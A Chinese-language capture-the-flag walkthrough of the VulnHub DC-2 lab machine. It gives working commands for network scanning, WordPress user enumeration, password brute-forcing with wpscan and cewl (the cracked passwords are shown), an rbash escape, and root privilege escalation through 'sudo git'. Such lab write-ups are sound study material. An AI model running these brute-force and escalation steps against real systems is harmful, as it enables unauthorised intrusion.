靶场下载地址:https://www.vulnhub.com/entry/dc-1,292/
渗透靶场:VirtualBox
攻击靶机:本地机+kail(VMware)
Flag:5个
在测试之前需要修改一下host文件的配置,添加渗透靶机的IP地址和域名(访问渗透靶机时80端口时,他会自动跳转成dc-2 不修改会无法访问。)
host文件位置
kail环境:/etc/host.conf
windows环境:C:\Windows\System32\drivers\etc
(1)扫描内网,发现目标主机IP
使用命令:arp-scan -l 发现内网中的主机
(2)利用nmap对目标主机进行端口扫描,发现开放端口:80和7744
使用命令:nmap -sV -p- 192.168.43.32
-sV 用来扫描目标主机和端口上运行的软件的版本
-p 80 指定80端口
-p- 扫描0-65535全部端口
发现开放80端口,则可以进行网页访问。
访问网页,是一个wordpress模板的博客网站,页面可以直接获得flag1
提示使用cewl密码字典生成工具,并且在登录后可以找到下一个flag
flag1中提示需要登录,但正常访问时,无法找到登录页面,可以使用工具扫描网站目录文件,找到wp-login.php
登录页面(当然可以直接猜测,wp模板后台登陆页面默认是wp-login.php,这里并没有改动)。
一般WordPress网站都会有admin用户,但需要爆破密码
使用wpscan
工具扫描网站,获取可以登录网站的用户名
wpscan --url dc-2 -e u
WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,可以扫描敏感文件、获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。
参数:
–url 扫描网站
-e 枚举
u 枚举用户名,默认从1-10
p 枚举插件
t 枚举主题信息
例:
wpscan --url dc-2 --enumerate vp #扫描易受攻击的插件
wpscan --url dc-2 --enumerate vt #扫描易受攻击的模板
wpscan --url dc-2 -P pwd.txt -U admin #爆破用户密码
wpscan -h //帮助
新建一个.list
文件(例如:dc-2users.list)将扫描到的三个用户名添加到该文件中。
vim dc-2users.list
admin
tom
jerry
使用flag1中提示的工具cewl
生成.dic
密码字典(例如:dc-2pass.dic)
cewl dc-2 -w dc-2.dic
Cewl是以爬虫模式在指定URL上收集单词的工具,并将其制作成密码字典,以提高密码破解工具的成功率。有点撞库的意味
使用:
cewl url -w xxx.dic
依然使用wpscang工具,进行密码爆破
wpscan --url dc-2 -P pwd.txt -U admin //爆破admin的密码,无法爆出
wpscan --url dc-2 -P pwd.txt -U jerry //爆破jerry密码为 adipiscing
wpscan --url dc-2 -P pwd.txt -U tom //爆破tom密码为 parturient
在flag2中提示访问80端口不是正确的方法,需要换另一种途径
利用nmap扫描端口时还发现 7744
端口 (ssh服务)打开,在默认环境下ssh是22端口,这里测试一下进行连接。
SSH是标准的网络协议,能够实现字符界面的远程登录管理,默认使用22号端口,采用密文的形式在网络中传输数据,相对于通过明文传输的Telnet,具有更高的安全性。
使用jerry用户登录失败,使用tom用户登录成功(密码为之前爆破出的wordpress用户密码)
ssh [email protected] -p 7744
使用ls 可以发现目录中有flag3.txt,使用cat命令查看发现无法执行,文件提示是只能使用less、ls、scp、vi命令。
查看flag3.txt内容
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的老汤姆老是追杰瑞。也许他应该为他造成的所有压力负责。
这里其实侧面的说明了tom用户和jerry用户 提示说需要使用su命令修改为jerry用户
这里我们的命令都被限制,显示了 -rbash
rbash是Restricted Shell,即受限的shell,它与一般标准shell的区别在于会限制执行一些行为。
常见的绕过方式:https://www.freebuf.com/articles/system/188989.html
绕过shell限制方法:
BASH_CMDS[a]=/bin/sh;a #调用/bin/sh命令解释器
/bin/bash
export PATH=$PATH:/bin/ #设置环境变量
export PATH=$PATH:/usr/bin
获得shell权限
使用su 以 jerry用户登录(密码:adipiscing)
并切换到jerry的目录下,可以获得到flag4文件
查看flag4文件内容,可以获得提示,使用git目录获取flag
sudo是赋予普通用户某个命令有root权限,且不需要root密码,是一种临时的权限
方法一:使用git来启动一个root权限的shell
执行命令,可以发现 git 命令有root权限,使用git来启动一个root权限的shell
//PS:使用这个前需要先将/usr/bin引入环境变量
sudo -l #查看可以使用root权限无密码的命令,有git命令
sudo git -p --help #提权
方法二:使用 git 修改root权限的密码
sudo git -pv --help #提权
passwd root #修改root密码
要点:前端爆破 cewl获取用户名、rbash设置与绕过、sudo提权
(1)rbash设置与绕过
rbash是Restricted Shell,既受限的shell,它与一般标准shell的区别在于会限制执行一些行为。
常见的绕过方式:https://www.freebuf.com/articles/system/188989.html
(2)sudo提权 - git提权
https://gtfobins.github.io/gtfobins/git/
(3)前端爆破 cewl获取用户名
Cewl 是以爬虫模式在指定URL上收集单词的工具,并将其制作成密码字典,以提高密码破解工具的成功率。有点撞库的意味
永远不要停下学习的脚步